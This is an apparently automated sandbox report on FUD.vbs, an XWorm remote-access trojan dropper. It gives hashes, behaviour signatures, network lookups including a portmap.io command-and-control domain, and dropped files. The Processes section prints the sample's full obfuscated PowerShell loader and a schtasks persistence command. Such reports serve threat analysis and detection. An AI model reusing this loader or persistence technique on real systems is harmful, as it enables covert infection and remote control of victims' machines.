Malware Analysis Report

2024-11-16 13:30

Sample ID 240621-zbw8wa1dqc
Target FUD.vbs
SHA256 db947993a090882f53dc6e88e0510d11041a0a5028742db5f93c76061c42b225
Tags
xworm execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

db947993a090882f53dc6e88e0510d11041a0a5028742db5f93c76061c42b225

Threat Level: Known bad

The file FUD.vbs was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan

Xworm

Detect Xworm Payload

Executes dropped EXE

Drops startup file

Adds Run key to start application

Looks up external IP address via web service

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Suspicious behavior: EnumeratesProcesses

Scheduled Task/Job: Scheduled Task

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-21 20:33

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-21 20:33

Reported

2024-06-21 20:38

Platform

win11-20240508-en

Max time kernel

284s

Max time network

244s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Windows backup N/A
N/A N/A C:\Users\Admin\Windows backup N/A
N/A N/A C:\Users\Admin\Windows backup N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows backup = "C:\\Users\\Admin\\Windows backup" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Windows backup N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Windows backup N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Windows backup N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $demitone = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $demitone = -join $demitone[-1..-$demitone.Length];[<##>AppDomain<##>]::<##>('ipsedixitishurrentDomain'.replace('ipsedixitish','C'))<##>.<##>('bulblessoad'.replace('bulbless','L'))([Convert]::FromBase64String($demitone))<##>.<##>('absolutisticallyntryPoint'.replace('absolutistically','E'))<##>.<##>('Inmingleableoke'.replace('mingleable','v'))($Null,$Null)<##>;

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"

C:\Users\Admin\Windows backup

"C:\Users\Admin\Windows backup"

C:\Users\Admin\Windows backup

"C:\Users\Admin\Windows backup"

C:\Users\Admin\Windows backup

"C:\Users\Admin\Windows backup"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 Jamalhacker-53065.portmap.io udp

Files

memory/4988-0-0x00007FFF96EB3000-0x00007FFF96EB5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldndrbhu.ash.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4988-6-0x000002122E010000-0x000002122E032000-memory.dmp

memory/4988-10-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

memory/4988-11-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

memory/4988-12-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

memory/4988-13-0x000002122E440000-0x000002122E486000-memory.dmp

memory/4988-15-0x000002122E1D0000-0x000002122E1E0000-memory.dmp

memory/4988-20-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

memory/4988-21-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

C:\Users\Admin\Windows backup

MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 e566632d8956997225be604d026c9b39
SHA1 94a9aade75fffc63ed71404b630eca41d3ce130e
SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
SHA512 f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Windows backup.log

MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 a1e1b2906fd761e72f3c2cd8f27dd8ca
SHA1 803061603f5b911cb5bd701a21c9ce408b065f79
SHA256 915e39a5c6da978172a51d8802604a592e9f49678847a0a467f30ad1e01bc542
SHA512 271d24e135bd4a1fbeff84e65abe76d34338d4929e5d0792bb9f5b4ef15cccf09754ab794eee1d988aa5cd553f0c12a1e18a1155ceabc2521329403a9dbe653b

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

MD5 0f1dfa11c990c28f572e3c86f1f4bb05
SHA1 98649818374499f7adf3b7b3a2f43b46cdd6e582
SHA256 43ac26cbbe3e456a03fea615053557e6c2e8888a4fc11a4ffa717503a167fab2
SHA512 62b1c50acef663660b6b47dbe91213141b5506d9bea898dfbfbf1970e0bb531f2ae423e373b1325a6f9fb5db8cd651f6d8f41baa924f991e7289ae248abfbce1

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 d69efb50cef428dcdedfdc72a8764d59
SHA1 9d7c09c3f1d51dc685e4ba39e721fe78f81fb0b1
SHA256 c2d935f8fb7a25df1a37225f2b3c1865578b03826acabaa555ae42d2be243293
SHA512 4f01a5889caab1e38646a55901d0a14eabe0a1400d33ba90ec20b55caa7c50949a4d62b20be87cdbbd2d0d9bb767e0c9a8544ceadae7f9458bf1aa560cbfd0dd